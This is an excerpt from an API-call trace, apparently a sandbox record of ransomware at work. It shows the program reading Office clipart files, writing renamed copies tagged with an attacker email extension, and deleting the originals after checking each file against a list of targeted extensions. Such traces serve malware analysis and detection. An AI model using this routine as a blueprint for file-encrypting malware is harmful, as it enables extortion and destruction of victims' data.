	[0255.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1
	[0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.203] lstrlenW (lpString=".doc") returned 4
	[0255.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.203] lstrlenW (lpString=".docx") returned 5
	[0255.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.203] lstrlenW (lpString=".pdf") returned 4
	[0255.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.203] lstrlenW (lpString=".xls") returned 4
	[0255.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.203] lstrlenW (lpString=".xlsx") returned 5
	[0255.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.203] lstrlenW (lpString=".ppt") returned 4
	[0255.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.203] lstrlenW (lpString=".zip") returned 4
	[0255.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.203] lstrlenW (lpString=".rar") returned 4
	[0255.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.203] lstrlenW (lpString=".bz2") returned 4
	[0255.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString=".7z") returned 3
	[0255.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString=".dbf") returned 4
	[0255.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString=".1cd") returned 4
	[0255.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString=".jpg") returned 4
	[0255.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString=".doc") returned 4
	[0255.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString=".docx") returned 5
	[0255.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.204] lstrlenW (lpString=".pdf") returned 4
	[0255.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString=".xls") returned 4
	[0255.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.204] lstrlenW (lpString=".xlsx") returned 5
	[0255.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.204] lstrlenW (lpString=".ppt") returned 4
	[0255.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.204] lstrlenW (lpString=".zip") returned 4
	[0255.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.204] lstrlenW (lpString=".rar") returned 4
	[0255.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.205] lstrlenW (lpString=".bz2") returned 4
	[0255.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.205] lstrlenW (lpString=".7z") returned 3
	[0255.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.205] lstrlenW (lpString=".dbf") returned 4
	[0255.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.205] lstrlenW (lpString=".1cd") returned 4
	[0255.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63
	[0255.205] lstrlenW (lpString=".jpg") returned 4
	[0255.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.205] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.205] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0255.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0255.279] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=7668) returned 1
	[0255.279] CloseHandle (hObject=0x340) returned 1
	[0255.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20
	[0255.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.416] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.416] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.416] GetLastError () returned 0x0
	[0255.416] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1df4, lpOverlapped=0x0) returned 1
	[0255.423] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1e00, lpOverlapped=0x0) returned 1
	[0255.424] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.424] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.424] SetEndOfFile (hFile=0x354) returned 1
	[0255.424] CloseHandle (hObject=0x354) returned 1
	[0255.424] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.424] SetEndOfFile (hFile=0x334) returned 1
	[0255.426] CloseHandle (hObject=0x334) returned 1
	[0255.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1
	[0255.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.427] lstrlenW (lpString=".doc") returned 4
	[0255.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.427] lstrlenW (lpString=".docx") returned 5
	[0255.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.427] lstrlenW (lpString=".pdf") returned 4
	[0255.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.427] lstrlenW (lpString=".xls") returned 4
	[0255.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.427] lstrlenW (lpString=".xlsx") returned 5
	[0255.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.427] lstrlenW (lpString=".ppt") returned 4
	[0255.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString=".zip") returned 4
	[0255.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.428] lstrlenW (lpString=".rar") returned 4
	[0255.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString=".bz2") returned 4
	[0255.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString=".7z") returned 3
	[0255.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString=".dbf") returned 4
	[0255.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString=".1cd") returned 4
	[0255.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString=".jpg") returned 4
	[0255.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.428] lstrlenW (lpString=".doc") returned 4
	[0255.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString=".docx") returned 5
	[0255.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.428] lstrlenW (lpString=".pdf") returned 4
	[0255.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.428] lstrlenW (lpString=".xls") returned 4
	[0255.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.428] lstrlenW (lpString=".xlsx") returned 5
	[0255.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.428] lstrlenW (lpString=".ppt") returned 4
	[0255.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.429] lstrlenW (lpString=".zip") returned 4
	[0255.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.429] lstrlenW (lpString=".rar") returned 4
	[0255.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.429] lstrlenW (lpString=".bz2") returned 4
	[0255.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.429] lstrlenW (lpString=".7z") returned 3
	[0255.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.429] lstrlenW (lpString=".dbf") returned 4
	[0255.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.429] lstrlenW (lpString=".1cd") returned 4
	[0255.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63
	[0255.429] lstrlenW (lpString=".jpg") returned 4
	[0255.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.429] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.429] lstrlenW (lpString="AN04355_.WMF") returned 12
	[0255.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.431] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3228) returned 1
	[0255.431] CloseHandle (hObject=0x334) returned 1
	[0255.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20
	[0255.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.432] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.432] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.432] GetLastError () returned 0x0
	[0255.432] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xc9c, lpOverlapped=0x0) returned 1
	[0255.433] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xca0, lpOverlapped=0x0) returned 1
	[0255.434] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.434] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.434] SetEndOfFile (hFile=0x354) returned 1
	[0255.434] CloseHandle (hObject=0x354) returned 1
	[0255.435] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.435] SetEndOfFile (hFile=0x334) returned 1
	[0255.445] CloseHandle (hObject=0x334) returned 1
	[0255.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1
	[0255.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.446] lstrlenW (lpString=".doc") returned 4
	[0255.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.446] lstrlenW (lpString=".docx") returned 5
	[0255.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.446] lstrlenW (lpString=".pdf") returned 4
	[0255.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.446] lstrlenW (lpString=".xls") returned 4
	[0255.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.446] lstrlenW (lpString=".xlsx") returned 5
	[0255.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.446] lstrlenW (lpString=".ppt") returned 4
	[0255.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.446] lstrlenW (lpString=".zip") returned 4
	[0255.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.446] lstrlenW (lpString=".rar") returned 4
	[0255.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString=".bz2") returned 4
	[0255.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString=".7z") returned 3
	[0255.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.447] lstrlenW (lpString=".dbf") returned 4
	[0255.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.447] lstrlenW (lpString=".1cd") returned 4
	[0255.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.447] lstrlenW (lpString=".jpg") returned 4
	[0255.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.447] lstrlenW (lpString=".doc") returned 4
	[0255.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.447] lstrlenW (lpString=".docx") returned 5
	[0255.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.447] lstrlenW (lpString=".pdf") returned 4
	[0255.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.448] lstrlenW (lpString=".xls") returned 4
	[0255.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.448] lstrlenW (lpString=".xlsx") returned 5
	[0255.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.448] lstrlenW (lpString=".ppt") returned 4
	[0255.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.448] lstrlenW (lpString=".zip") returned 4
	[0255.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.448] lstrlenW (lpString=".rar") returned 4
	[0255.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.448] lstrlenW (lpString=".bz2") returned 4
	[0255.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.448] lstrlenW (lpString=".7z") returned 3
	[0255.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.448] lstrlenW (lpString=".dbf") returned 4
	[0255.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.448] lstrlenW (lpString=".1cd") returned 4
	[0255.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63
	[0255.544] lstrlenW (lpString=".jpg") returned 4
	[0255.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.544] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.544] lstrlenW (lpString="AN04385_.WMF") returned 12
	[0255.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.570] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5004) returned 1
	[0255.570] CloseHandle (hObject=0x29c) returned 1
	[0255.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20
	[0255.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.570] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.570] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.571] GetLastError () returned 0x0
	[0255.571] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x138c, lpOverlapped=0x0) returned 1
	[0255.574] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1390, lpOverlapped=0x0) returned 1
	[0255.576] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.576] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.576] SetEndOfFile (hFile=0x28c) returned 1
	[0255.576] CloseHandle (hObject=0x28c) returned 1
	[0255.576] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.576] SetEndOfFile (hFile=0x29c) returned 1
	[0255.580] CloseHandle (hObject=0x29c) returned 1
	[0255.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
